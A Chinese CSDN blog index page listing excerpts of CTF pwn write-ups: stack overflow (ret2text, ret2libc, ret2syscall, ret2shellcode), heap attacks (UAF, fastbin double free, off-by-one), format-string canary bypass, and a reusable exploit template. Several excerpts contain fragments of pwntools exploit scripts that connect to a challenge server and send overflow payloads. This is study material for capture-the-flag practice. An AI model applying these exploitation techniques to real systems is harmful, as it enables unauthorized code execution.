自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(26)
  • 收藏
  • 关注

原创 数据结构与算法

单链表逆置算法//头插法逆置(带头节结点) void reverse(linklist &L) { lnode *p = L->next, *pre; L->next = NULL; while (p) { pre = p->next; p->next = L->next; L->next = p; p = pre; }}//指针反指法逆置(带头结点)

2021-09-18 20:13:06 134

原创 DASCTF2020-7月赛 pwn学习记录

DASCTF2020-7月赛 虚假的签到题说实话有点被出题人恶心到了,主要还是自己太菜了。。。????拿到题目直接ida打开,按f5一顿分析就这太简单了吧!先格式化字符串漏洞,后栈溢出,猜想肯定是先用格式化字符串泄漏canary,再利用栈溢出控制程序流,执行后门函数。查看保护机制嗯。。。没有canary保护,那这个格式化字符串漏洞是干嘛用的?然后直接栈溢出发现拿不到shell。这就很奇怪了???其实到这里就到死胡同了,我们回头来看一下main函数的汇编代码,可以看到出题人在程序的最后做了修改

2020-08-11 15:32:30 910 1

原创 babyheap_0ctf_2017

考察的主要是是堆溢出和fastbin attack。通过这道题巩固了一下基础的堆利用,另外看了其他师傅的wp后发现了新的泄漏libc的方法。嗯。。。严格来说也不能算是新的方法,其本质上是一样的,主要是在构造上有一定的区别。​ 先贴一下我的exp:from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''): if path == '':

2020-08-08 18:07:44 346

原创 4.forgot

from pwn import *p=remote('220.249.52.133',49466)p.recvuntil("> ")p.sendline('A')payload='A'*32+p32(0x080486cc)p.recvuntil("> ")p.sendline(payload)print p.recvall()

2020-08-07 14:28:30 130

原创 pwn题exp模版

根据其他师傅的一些exp自己简单整理了一下,感觉用起来还可以。。。from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dum

2020-08-07 11:07:58 1004

原创 3.stack2

这是一道数组越界的题目。数组存放在栈上,程序中给出有修改数组中数据的功能,但是没有限制范围,使得其可以修改栈上任意地址。所以我只需要将main函数的返回地址修改成后门函数就可以了。接下来就是确定偏移,这里把我卡住了。最一开始的想法是直接用返回地址减去输入地址,得到的偏移是0x9c,带入测试发现不行。看到这里有人肯定都要嘲笑我了,我真的是太蠢了,而且还觉得没什么问题捣鼓了半天,太菜了。。。言归正传,要定偏移,首先我们需要搞清楚程序中修改数组数据的部分具体是怎么执行的。这里可以看到程序具体要修改的

2020-07-27 19:18:14 400

原创 2.dice_game

猜数游戏,随机数由srand函数根据随机数种子time()生成。在输入name时存在溢出,可以覆盖随机数种子,此时就可以控制随机数生成了。exp:from pwn import *from ctypes import *context.log_level = 'debug'p=remote('220.249.52.133',46700)payload = 'a' * 0x40 + 'a' * 4 p.recvuntil("Welcome, let me know your name: ")

2020-07-27 19:15:37 124

原创 1.反应釜开关控制

1.反应釜开关控制拿到这道题,ida分析之后感觉是有些奇怪的,因为题目就是简单的栈溢出,而且给了后门函数。所以就是简单的ret2text。exp:from pwn import *context(log_level='debug',arch='amd64',os='linux')r = remote('220.249.52.133',37791)elf = ELF('./kaiguan')shell_addr = 0x04005F6payload = 'A'*0x208 + p64(she

2020-07-27 16:49:23 380

原创 手搓shellcode的学习记录

虽然我们可以利用pwntools自动生成shellcode,也可以利用alpha生成纯字符的shellcode绕过某些限制,但是当程序对输入限制较为严苛时,就不得不和这些自动化工具说再见了。由于之前完全没有手写shellcode的经验,所以本文主要是理解分析其他师傅的shellcode,尝试从中获得技巧和方法(说得明白点就先从照葫芦画瓢开始。。。)首先直接来看题,这是2020 NUAA CTF的一道题,主要考点是ascii shellcode,难点在于限制只能用0x1f-0x7f的字符,并且buf长度只有

2020-07-24 15:41:14 450

原创 BJDCTF YDSneedgirlfriend2.0 (UAF)

前几天一直在学堆利用,现在来独立做些题试试水。常见的菜单题,要注意的是tcache bin存取chunk的原则是先进先出的。ida分析漏洞点free掉chunk之后没有把指针置NULL,因此存在Used After Free漏洞。大致利用思路是利用uaf漏洞实现对结构体chunk的改写,修改打印函数指针为我们的后门函数地址。具体利用方法不展开分析了。Exp1:from pwn import *from LibcSearcher import LibcSearcherfrom sys im

2020-07-23 13:18:33 256

原创 有关One gadget 限制条件的问题

在整理off-by-one漏洞利用的时候,偶然间发现在执行one gadget时,RSI不为NULL却可以获得shell的情况。这完全打破了我原有的认知,让我十分不解。下图是传参完毕各寄存器的状况:再询问shiroha师傅后,对One gadget执行的限制条件有了新的认识。首先来看看One gadget用到的执行函数execve( )int execve(const char *filename, char *const argv[], char *const envp[]); execv

2020-07-21 16:43:14 494

原创 off-by-one漏洞的利用

介绍严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。漏洞原理off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。字符串操作不合适一般来说,

2020-07-21 15:12:28 1484

原创 从两道基础题简单认识和了解fastbin double free漏洞的利用

fastbin double free原理Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。(即可以构造假的chunk实现任意地址写)Fastbin Double Free 能够成功利用主要有两部分的原因fastbin 的堆块被释放后

2020-07-13 19:41:23 1030

原创 关于Linux下更换不同glibc版本的解决方法

在学习fastbin的有关漏洞利用时,由于本地的glibc版本是2.27的,存在tcache机制所以和单纯fastbin的利用方法不同,因此只能换用版本更低glibc版本。但是更换 ELF 文件的 libc 版本的过程让我十分头疼,最后在大佬的帮助下总算还是成功了,现在记录一下解决方法。首先获取不同版本的glibc获取glibc的方法不止一种,可以手动下载也可以借助自动化工具。这里我使用的是https://github.com/matrix1001/glibc-all-in-one下载完成后可以在

2020-07-09 20:33:24 12345 1

原创 从hacknote了解UAF漏洞

首先查看程序的基本功能,基本的菜单形式,主要提供了三个功能,创建,删除,打印。(即malloc堆块,free堆块,printf堆块中的数据)查看程序基本信息拖进ida中进行伪代码审计,由于此题没有去掉符号表,因此审计相对比较简答。创建和打印部分的代码均没有什么漏洞,在删除功能处可以发现很明显的UAF漏洞,在free掉content指针和结构体指针后均没有将其置为NULL。另外可以找到程序中存在后门函数magic进行调试分析,首先创建两个note(note0和note1),大小都为0x10,g

2020-07-07 15:05:50 660

原创 从pwn-summoner理解first fit

本文主要为观看bili53448916889师傅讲解视频的学习笔记。首先拖进ida中进行代码审计。以下是main函数的伪代码__int64 __fastcall main(__int64 a1, char **a2, char **a3){ const char *v3; // rsi char **v5; // [rsp+0h] [rbp-240h] unsigned int level; // [rsp+1Ch] [rbp-224h] void **v7; // [rsp+20h]

2020-07-06 11:28:47 338

原创 ret2libc 2

ret2libc 2该题目与retlibc1基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。这里我们和上一题构造system函数一样构造gets函数用于读入/bin/sh字符串,然后我们需要考虑读到什么地址?一般来说在程序运行时bss段会分配很大一段空间,所以我们在此基础上随意制定一个地址就可以了。p.sendline('a'*112 + p32(e

2020-05-19 14:13:59 323

原创 Ret2libc 1

Ret2libc 1题目代码和之前一样,gets函数存在栈溢出。同时也存在system函数,但是不同之处是我们不能直接跳转到system(“shell!?”)。因为我们要执行的是system(“bin/sh”)。首先,我们可以在内存中搜索一下看有没有这个字符串我们可以看到在0x8049720存在我们需要的字符串那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下from pwn import *sh = process('./ret2libc1')binsh_

2020-05-19 14:13:50 726 1

原创 ret2syscall知识点及例题

rop检查程序防护和基本信息注意到此时开启了NX防护,所以无法使IP寄存器指向堆,栈。另外,注意这是statically linked(静态链接)调试分析后,知道与之前一样同样在112个字节后同样可以控制返回地址,那怎么获得shell呢?我们要思考,让程序跳转到什么地方呢?由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系

2020-05-19 14:13:27 768

原创 ret2shellcode知识点及例题

ret2shellcode检查程序的基础信息后发现和ret2text不同的是其关闭了nx防护,这就代表IP寄存器可以指向堆,栈了。运行程序可以看到只有一个输入,接下来用ida打开进行分析。与ret2text一样可以很明显的看到在main函数中调用了gets函数。我们同样可以控制返回地址,但返回到什么地方呢?查看内部函数可以看到,此时程序中并没有用到system函数,那应该怎么办呢?这里需要注意有两个点1 NX: NX disabled2 strncpy(buf2, &a

2020-05-19 14:13:19 857

原创 ret2text知识点及例题

ret2text这里涉及到的知识Stack: No canary foundNX: NX enabledret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked1.首先是stack保护措施,如果开启的话在栈中返回地址前放一个随机值,如果被覆盖,程序就会报错退出2.nx则是 no execution,如果开启的话就不能让ip寄存器指向堆和栈。。。。注意堆和栈是不

2020-05-19 14:12:41 1408

原创 buuctf-[OGeek2019]babyrop

查看主函数int __cdecl main(){ int buf; // [esp+4h] [ebp-14h] char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read...

2020-04-09 19:32:15 2252

原创 2020MRCTF - 部分Pwn题

easyoverflow保护全开,但这里只需要栈溢出覆盖数据满足check函数判断就好了。exp:from pwn import *context.log_level = 'debug'p = remote('38.39.244.2',28082)payload="a"*48 + "n0t_r3@11y_f1@g"p.sendline(payload)p.interacti...

2020-04-09 19:28:28 337

原创 BJDCTF_ one_gadget

考察点:one_gadget题目给出了 printf 的地址,由此可算得 libc 基址,然后找 one_gadget、计算 libc 中 one_gadget 地址 printf("Give me your one gadget:"); __isoc99_scanf("%ld", &v4); v5 = v4; v4();v4 是个函数指针,scanf 的时候把 on...

2020-04-09 19:18:36 334

原创 BJDCTF_r2t3

BJDCTF_r2t3考点:考点:短整型溢出1.首先检查程序的基础信息32位程序,可以看到这开启了NX保护,说明无法在栈上执行shellcode2.运行程序,对程序功能有基本了解程序基本功能:输入name,对name长度进行判断3.用ida打开进行分析这里截取了关键部分对代码首先在main函数中,没有任何可疑的进入name_check函数:接受了一个最大长度为0x400的b...

2020-04-09 19:16:30 367

原创 BJDCTF-PWN r2t4详解

BJDCTF_r2t4考点:用格式化字符串写__stack_chk_fail 函数来 bypass canary由于涉及到格式化字符串漏洞的利用,所以基本原理和利用方法要先有一定的了解。推荐先阅读CTF-wiki:格式化字符串漏洞原理介绍格式化字符串漏洞利用1.首先检查程序的基础信息64位程序,可以看到开启了NX和Stack防护2.运行程序,对程序功能有基本了解程序基本功能:对...

2020-03-26 22:21:45 1087 2

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除